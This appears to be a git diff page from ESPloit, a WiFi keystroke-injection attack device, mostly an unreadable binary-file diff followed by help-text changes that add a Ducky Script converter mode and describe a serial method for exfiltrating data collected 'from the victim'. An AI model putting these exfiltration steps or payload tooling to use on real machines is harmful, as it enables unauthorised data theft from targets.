zh$NCuIs@Wmxy;p-^e0Q*ce;{egzRTKyOEXw+TZsVB}5O@quA4K#2O}Cy?;1Wq<-92h!yy0 zKphsFPGniVeE)nexDfJ@JbvoD6-VcO_>r+l@f#CRY7uN)I%!Sy+H8F~_~>UV$!9)j zHwOEi=z&^Ib|#%PR9|EX=bsm-0{PWq}H03554>E(r7Y0#NsI5VVg2Y6Y>{3kwFHu>UgRh zwsP%4aUng?aVjCz_YInwD)dVA8=P7LIA{A)?Lxa!@9%~+{8oZaC?n5?{O>FK0R0Afh3md9oWi&q&XEjvHb%{6j{RV4a8uyvsVX^G`Ln929eG+)R8 z^@Zg31iCBI-3hmhseyoCuvNk`I*bsdUo2m{#kp(HU}YkaG3su5_ER`88Q z@iD^|WK!)+ABxU7!LAJ@@j1fwo7F#muRJgzi@$}W|AU+V|G~}u|KM_-$Mr=I{tA#Q z3}*!nhKiCp1}N%`TkARQX(cYFXy9(#`%S-f~Qkf)KT=EebKG+B6zG_j1cqkJ;VhmE7-8uySQEz{X z-?s?q_$L9RFDJ#1XmNu;SlDp#QtW}kS&8%~n3l!S~Ra-HE1g&QWJ%)lvBm7kjd z39|Vc)@=l7WYznFk=On87KX=LwmCo{g$CrUvXNQrgAt@bK-yaPSb#R{`w^sv+^yLulA;M?8DK-8mKnD6&;%4*UhG%XZaw*-s0?N5*ew=Re0erGeU;&8F77?XQTTw)DiR<}#TMv97Ok7Imvws71GCKJZtpjpD5>1TT*QHv4rF zkuKD}WwQ~{x0_9@rQiO)a!lVsd9-rEa$odn-#in3>g0T8B&;5xh4FHbT??`+m2$9a zuahNYJDWO&G>lVgK=h&W-E0|>P;qO~nm9@HiQPkf`Wh__ZLyO{Iv5sj;Lsxx}81C9SBsn6(&3 zHYDofZY9%Gy?hdyhswjYGzp`88zBod28;NyBbF>-|E)oE(InhwiZPLU8=BIb{MEJk zIu5(-lZPMX(QCvujC(#oZ)b%*lpf@LyNW81Mmk?{i zC95PXW@{#ro>Xtd9)cAW=CQ_;;2mmkY9^8RaDCQ2kcq-|1EWpS;%@PuH;1vslSng? z&wiSO{d_F@a}wzc&opW>wwcjPolIhAjZJLAWUrxLIT?#UJ?5EA!oqv*dQnXl^Iyvs z`j+=it?10}V&rb@=428@Yiwo>=aE{0rsZoK_}#^4R6flTrjVCv+~D0M+t>$F&@Hu? zX9{T^c#Pxb$aCZxyIAQI;;ga5ON6y%D(MoaPQNM7`bukH$d}lPsl+bz!OZIkNCTw1 z^{K=b80=aP7AxgD6ecEs_^xA*XOULq5sRHo)R2ihGtD`OXZrS+$z?WYHfb01Do1;f z79fwYgR@E7kc?_1j<0&b=6+yyWbm` zuoS-UlC+T0bwJO^{EVY(d@RF*9rP|)D_@8E&@b6Y>5Kn9GXby`a0+l0_-6>)FnKQ4 zk3;TZbIC1|((f_IU~e4vu}=g17zo>pa48^vP^F;@2_UdmCC2TUs<@GRbc~ z#OK~;)7~R($$a+hd!!fLa-Y%pa4)jhsQE-8FS1YPlbAZD8?cSgtL8qu{3xqPi73bK zpHX-}yD%Rf=2K=}03YHs+qi(74}J1YMas1~*if#)tr(#2KKtl>_zX4{zK|q03+1in zXBhfjW9!a}ZOwf5y>7*&4q3UHSMbLQ<(G;oEnV!Lg(Rxs83=|+2_WRF3V(+wz#e4{ zk-s;T?~T;e^Dzc?FC;O3mq27HX2lE1baI4^UPNA{@x|=mBC-!I_437VkQ~L#?*lT- zdL|cg&|ZbH`7hXT=RwwR1b$vY#aht><7D9nIPmJg)_*{{n6rwp&qYV|EM|{BAdMre zYpays$dmDFV|mylCrA~P?=LE#qWSxO=iTwIEl+``ml<3?^G&ewKO2AU8hiC5&Eu zz%U8Nd*-^nYDOk=BK@C=sxCOr0@ji7WUu>;bz~I9w)L+s$xB!?+HD}O`xbn*HQ&8) z1Bn!X(KnNqY0(DO;2YA$uLyOxgx33p{B8bw1L}#i>4E#jZ%KbjR#CE!avf_$nW7jdzdU1}~gUU_a%NZa6;@wv&;x#use- zc5I;i*p2OE5Gizb`JN2-!P@ujk0hIna0mYcH=4|0IX{z8ewWTwqy#^3-~E|1_mQ^z zg%&=KQG6LbKa1H#{=}#Z_!S=NQg_U+Xme_Pz~|p@77;e)%JBe_eHf z1`o^>e~d@`4=gcqFCO$sF-%z~JQC3F0UKUG9$`@(v>QuoAzQYa91_kv zgY{wAdq{hnmwdK|yi0Q*Fq;meb&I{ClXuBM_eGt2N^pYw=05U+(gzcE3%Fg!z{*Eh z2)G3BPP!Y)fsnKE5qg{&m*2TpMzM(=z_Ry~S~!xKzMrV16Wh5TzCtqleLn=YU?B%c zI2Ow21K6gWWElrY|Aqm}p*qH6eq6q-;3zq{49R~D2=+Vr0n&^XJz&KLNOR~YA0)M7 zu5u#0^RgZ3852S-^OP+vjN6~h&lL|Lf3WO>WC*=}ob5e`$v&4oJxFHftl%_IbvX}F zC^a^;U%D+etnj7$S8NVjK6&MTOh7iDr{>i##rczYRVC+Eh6%Z&yuFgcllw!?$k&yB z2c;?aVO1juyN&b9#ZY~>Nv>DnynL5EJw%$&_=n7Pn2a!I^0N3DI`&Pj!^9cg6UCw% z@r&Q010kM2%L9o2VUy$=KEZ4|+>^BNQqMBbcV&m+T{LBlkC3QLWhY{wB& zw|3c5@Z=+e|0_Eahb(X%#O@p+9msVSdz4I(W&tzdI?e#G8nt2H93>OTX4c>sxj_|6rUeQEcEBa2{TsFH$>BxOzty#mZqxKQXv&e=rzd%zQZk~BpR4n1O zSyP5qwb{bR0iLYt%n+Y4S?5H#r-5Zy6qfWByI|rYr`Ye8#a)P8jD7Qh)mJf`p^goQj_66Np*1OrSZ?&g1zM>OU~EG9d!z$8JfV1#!t*OTs6 zq(ozlGHvlSCEdnb!FS=IxHGPh2L!$4yh;wBZh_Z`Ov~=E=GRD@u(}I*qb3>&u>q;M zChi&4WYe#~KR&^BT_eLK2SnZm_v-+ExAHglxvyWvbqpJJolLSMzmMX$fbg2cM0V{u z*4Gv+@CKP4erW-+I{TVtK8TNxf5BGImasaJoMS6*kbWf6eg6g-;ESWojJxEG7|(o= zMib>vBh5*6R3;KO6ng!+pS(%un39=SC*EcE?vhaQPl$`neuk^P8SL&eGF+JJYjgO!`O$U zt-#8*h}Ac+l*O<`2Kj&r8$OJrOUUI9H`AAKndVDqOR|e4@?a|)LukK%8R(sI{I8WM z>3N;jI&EU$<<_F4DA z+O(IS5dR3vo?C7}YZBk`x0jW>+cl&;h;SWax|4gcm2MD(&8XWtce^NRr@nb_&CYXY zN7FgPH}kF8nGDfzcXLzfwreTAF<&Hv;*qDK7saX`2BSBBo_A@+<dPKUR|_^(|kHJa6HMUxxs0YOnqnsfmHiWn-4EXBz>mf}{lKF;CJwW7^~ z6;6o%0~g(cpFWUg?mDe$8xr*AG@xPaeY_*?9DB75ZSJ?Cjm=TmhAnSH-w|p;BNMCD zmbQX7_F`LVugQ23{ZE`6VNcY+TW&d<)0TE7v)O^Rv_;*ioB-yWOy&_PV`=lQOZksj zXd=xdudtzsbc#Kh=Z@@t_y@GypB1P}TaLhWVnXiFDtpqBl_kuUPLFq4!DFiI)ZS*BX`{-`lSywJ$4tQ&^LX^8J66U)`RES zza#xrvOb121nfl3avAAFZv-SxhGeY#ZP4{fy7=g)1; z&Yk}n7VC#+(AMHDBUMk?&cptq&q2!2~ec1-X}OO3N9 z?M|&}5owh1; z(uXbYP5YB+>~?Ru3TI0T`q1>C4&%LY663tXryaZ6hmOX9b&r?m*??%2y8QsVU#9e> zON99kaVg65zO-or_c)ZoF1~WgZ1bk>8A*-2#{N6E^fK*2$U62?KRSdAWk2^2Xek)-~pv0kkd@e!&wv@%g$y=>NT zAWf!41KFH`bQ>*u;BGUB4)!J2-5+PuwS?rmlZVicNc|44SMs?006f}NCaQU~aTg7R zHHkVg8Z`LVE4=d2>H9NrL`e>FoWC=aJNc%i&}tR?YB;s$?BaO!p;6^$4jpcDY(Z|N zxA^8ErOb#<4y~%=IH^X5*?Fa^qHwH9L zQM`t1B(-5P(P1Q2;`(wT+*cuY&lqoC_u`oSnP;-A>WZAbD2Mg3n|swrx|Gx}LiOUG z@G4#kaGuRRka>aPm$1JPTR{=I?Cv_6b|mJW$e#dM`o#Uw>+}#?u7Py#`eBV z51O-{K{cs~W4`46 zBrw{4vGt4S*YshIyVqj6+{Y*PS(N*qrDy_E;bG#&&8Cez6Lh zU5V|&zS&N{LqiVwo*oiv1eamPl|{K*{6fDWLK4hfEBECc^pKBFJh0#8)5f%(12kg_ zY>w5?_MbWMzK~9W6FaLcirp)qDfKt>h8EG8_{lD`SW}f4w$rP{7w&GmsX}UP^w=Ez zz+_~;&9Mh@`yQKPihJ1}THDVj7oxsCNI&z5=0`D|01uma4+(KjM6*rtyRE`kXID}A ziGlaPskv8hJ~ZJdRRan$Ay*8=xz?_u7}XAT`6xu`EbJJ(n~5y-7(GJXV8Mkn3qJD1 zLi|2EiG5l~8{net=R#`BSy~?D=y2TT$TBr?OaN>_+JVptFaa(ZIK=_v0%ifS01ki^ zU;^Io6@hspZ9fNztX(wq1 zs&-*NoP;&?>A{|zq|?X(HtBb|BK&@Lv`(Dmc)f4Lnx1Y3&d(xiV#gkNif;FdAWa-~ z2|IO)E~i$)MxUl_gy<9_Wdd7&nl_it^gz)VSzL=l!>;VoY3jCY;3!*mFmO&1;a-1+ zekZi<2{se>b_Sy&cUdFHo-msuz1Zg1alz(TxxA6%A;Q1;hymR!z!tz<_kxR1R^VNo z#*Sa2wd;SwHN~+h_j5?AbR_<_Z=c14%k)^}gv)TbAW2*U+p0V>aB{d0qpfQ&AsMXb zGW>^UOuRySN_#+b{R+&mPZP%&HtGsS!XdWu3T+qiYd0{)|1VF-HG48o^LHMJH9%3*Cmk41IBC;qdjv7#LqKT6*MlCdIgs9P| ziT>lHG;tguZ7Rdw&J>i4O* za)pnuRpWw2H0@~M2hpz<@4+JRLoE;SnQdKw#ek)3V+5Qf+Sl>7U{$ZIz65v^%oI z`$%9#p1t2vHbgoac^IK7C*0*<>gl-My%D1OJwB9|X=3s{YekE+9C7I$AC4aFa-S!# z>te=zzQ^kTZn_uPugUH|^SKPO$(n!hqp(OMKj6}<5o^l_K=Vz}rHNl-f0gVP?!j2G z@OsE!4M>kewZbPHiP>5j_{AgaWsCb0^re=iul&P9zJ#%6(f$$tJ-_#(sC>lZJ*#oE zW>`SV<^4yzkF{&k;o@WYy_+J}g>IZEK6YWr6uLHnj>7`(VL7Hc*1sjVR~)&%bv zD|RwE#>+@zCVPuvO94}9C+jG7skDX-m8M4cBZBo}i%t(P5v?~UkWCPW3`%0r($|Bg zsGZB9FLj0YqzB*tHX^Jc7J{Y#v2s%~%{yKoVgK(meZ z;g;Cl6@N*f?uM5;QZH%~&_!oO#5j6cJA_Ifmutt-C=Km+VFG=|dE*GNZX!MABf`aN zqp7Rd_acpC-^$xB(qINj>-7@-XtOq_u0kKI0LrB!nYwbl4B_TsGG+>0W4!Jq(R&)b z!5<8hpG>oaPZ4p`={=^%t00!|WBDs2xaujpr;(wt&Z1`)4d!hk#Plo*=1PQEkwqae z67I{QVa!9^%%WZHjp3@?l#K%Psc7~zUB={)pNhSE6Z2^bW3h5y0X;77trlt;e zjVu%^OKAp+61PjKEAx=HHcUNb5IThd^KpFGu|NpWSDxBIPEXI_2&do-M44#XM|nJMEF3K4=LsLm;?HQ8%71Q_y$|Cd zpbMS)f(+t&J;m87I+HnhAY?O|V~VeLSyEc-VlP-pH#wVR(ZB@7ZZBk4tjuW3myqPX zz{V0ViwnhU%BF2xMD2I;)L%pdd4&LnA7|mSR%uZQ4eC3^7*f57vqi1^6?4c z%sP2+iqcqnnQ@9vaCTaTSJOL;{UoctfjqS>@xrVFV2NHOgmO~ z-yI5Zu;$(f-9G4wYR8(aAS)LG8!3w27P*ZS8d7VeMf3CFP$qJoTm(DDc`Fs)4vZpp z)_qZ-INC_tLq2}O{eXq|vZxmBc5IuQJJsT@baOu|R^O)Zp6j1*qh#l=CBN5YxgGI8h+5@xW0$+7H zn=LQ+s@PjNNL=+(Ct>c4Zm;Hf=yhmNHeZRXtU+`RtTx#<~2p;?8qa%9>L zeZ7yE{HeZCG#}7YB#IoO`X%MrGm0{^a|&mt7G~JfQwvk&+Qa&fk+S%{9_OL0nFGaI z{_T-o>upmoOnCqgFdcczgI-3k(Or$fH?RSwD2mzw5M|Y-MjrQU zT@BVrUw`AF58EqkJ&kkBy~yt*>w}HwG*%+R`x(a=tC3Bi#vhr@a;@jXn6G%<8M#6p z3^VRBUVTS=6k*)K`(H7@5FETi1{pI|%zE2~8fi95XRrek)75LC!d zmNCm+qbOoQywTNN?I5u}9#v?lkP%~z34T2PuK3+FV>2(iD|^0dWMVuOzfUpdV_Bi4 z8t)j1(DOK8oH#(OfyoJk;vW#oi5^imd(T>4QzHOE3$RkBxjWZsM*h}`(@Oz`#wezl z)12mhkulfk1Fz~IEV5htd9Kl4OPuI5OT=xYXw`V_bA)4_VVyFlm}e|xi)6rj<8=?s z{ZCMmDXX1HK4&`OOdunDA=8ecPS8NM9- zotd~Bbu42Fhp4xT{*GCJ=F^y(8)&uy&KWl!bN>**Z=!-R{}h(1mz`#ZlNjn?acW3W z%xd7`W2c#J6QL`NrT)q9;1~(`Z{WmWW;tv@z~`cB1?sp_++JY}E6&IIwFn4nq5lIq z4VVeAFx;U9M-aaNw8k4+!oPr?NpqUM=}*wJCH%}MPBUIQ&2|TzW`E#gzzW|3rW|yd z)>9~oUG7?GOtr}%Va#OupwRFE1F(U$+(`7Wa)ajK2*Ay9qtm+eMu*}xf5FECfUpc~ z4V>?AQ;Vzhw-I@VfWtU;d>V8(cobcQM%2pjgf=7n{7Ibi$Fba$Q~0Psk;6ng4N3p4ZDHhm`3!g4>HyDlsN!7UEYkZIZcsjokc|qUW z&HdllP45M$IFJam-Z1H`-3$Txp0S%X;2HfLzL0PlWq@A9wauU@3&>&SOaBdcqX#CO zvztl43ab#H3|IrS-n7$s6aw4;PY!VYs@?1+3N{)?+SWWoGN3f0p%%!PO~wYb*kd7_ z=)h>81V|YJXF6!vOfXxm*z!9x77w}@pS}UjNdP}kj&SRP6d_y!wDOmYbC|ygizrg^ z=4G~~S=8!5s~n30gIfc?7Szg|Fu`F~1FK#`WkAz`a)h7UP_C{tHt^!USq}3hpry3` zm$nuf1>XGs!rz*|WhS;40Ew@nRe_U$iuiC~QI5kb1Pwu23xBb)C>zZM?4JeZVuyJV zIF5L0fhP+f8;Ez94S*))q9E`l<>5FhXadm6Yf%%GTLC2IJIpPh_fX!``H4u|57eO| z%~?SXv++L|MkDhi;DOrKfi@J&@!O5Ie5&#p#2oOhvYQP)sAaIjEbW61ABUQaM-wLF k@leZEpW?N!c#yvp`6b9tK%O!OO$Qr|dp3T$N{UkPe_+EU!~g&Q diff --git a/source/ESP_Code/HelpText.h b/source/ESP_Code/HelpText.h index 75505f2..64027a3 100644 --- a/source/ESP_Code/HelpText.h +++ b/source/ESP_Code/HelpText.h @@ -74,7 +74,9 @@ Upload Payload: Upload a payload.txt file
Choose Payload: Choose a payload to run
Live Payload Mode: Type out or copy/paste a payload to run without uploading
Input Mode: Use the device as a keyboard/mouse substitute
+Duckuino Mode: Convert and optionally run Ducky Script payloads to ESPloit compatible script
Configure ESPloit: Configure WiFi and basic settings
+List Exfiltrated Data: Lists any exfiltrated data
Format File System: Format the file system
Upgrade ESPloit Firmware: Upgrade the ESP-12S ESPloit firmware from a web browser
Help: Brings up this help file
@@ -144,7 +146,7 @@ Scripting a Payload
-----

ESPloit uses its own scripting language and not Ducky Script,
-although a Ducky Script to ESPloit converter is available at: https://exploitagency.github.io/Duckuino/index.html
+although a Ducky Script to ESPloit converter is available in the Duckuino Mode page

Examples of ESPloit's scripting language can be seen below.

@@ -239,16 +241,24 @@ Live Payload Mode
Here you may type out or copy/paste a payload to run without uploading.

-----
-List Exfiltrated Data
+Input Mode
-----

-Displays any data that has been collected from the victim using ESPloit's exfiltration methods.
+Use the device as a keyboard/mouse substitute.

-----
-Input Mode
+Duckuino Mode
-----

-Use the device as a keyboard/mouse substitute.
+Convert Ducky Script to ESPloit Script and then optionally run the script.
+Paste Ducky Script on the text area to the left.
+Click convert and the ESPloit compatible script appears on the right.
+
+-----
+List Exfiltrated Data
+-----
+
+Displays any data that has been collected from the victim using ESPloit's exfiltration methods.

-----
Format File System
@@ -278,7 +288,15 @@ If you are using this mode to swap the firmware loaded on the ESP-12S chip, and Exfiltrating Data
-----

-To exfiltrate data be sure ESPloit and Target machine are on the same network.
+Serial Exfiltration Method:
+Find the victims com port
+Set the baud rate to 38400 on victim machine
+Send the text "SerialEXFIL:" followed by the data to exfiltrate
+Exfiltrated data will be saved to the file SerialEXFIL.txt
+See the example payloads for more info
+
+WiFi Exfiltration Methods:
+To exfiltrate data using WiFi methods be sure ESPloit and Target machine are on the same network.
Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.

Example commands to force victim to connect to ESPloit's network(when set as AP):
diff --git a/source/ESP_Code/version.h b/source/ESP_Code/version.h index 12e8447..7f392a9 100644 --- a/source/ESP_Code/version.h +++ b/source/ESP_Code/version.h @@ -1,2 +1,2 @@ -String version = "2.6.1337"; +String version = "2.7.331"; String latestardversion = "2.2";
Display File ContentsSize in BytesDownload FileDelete File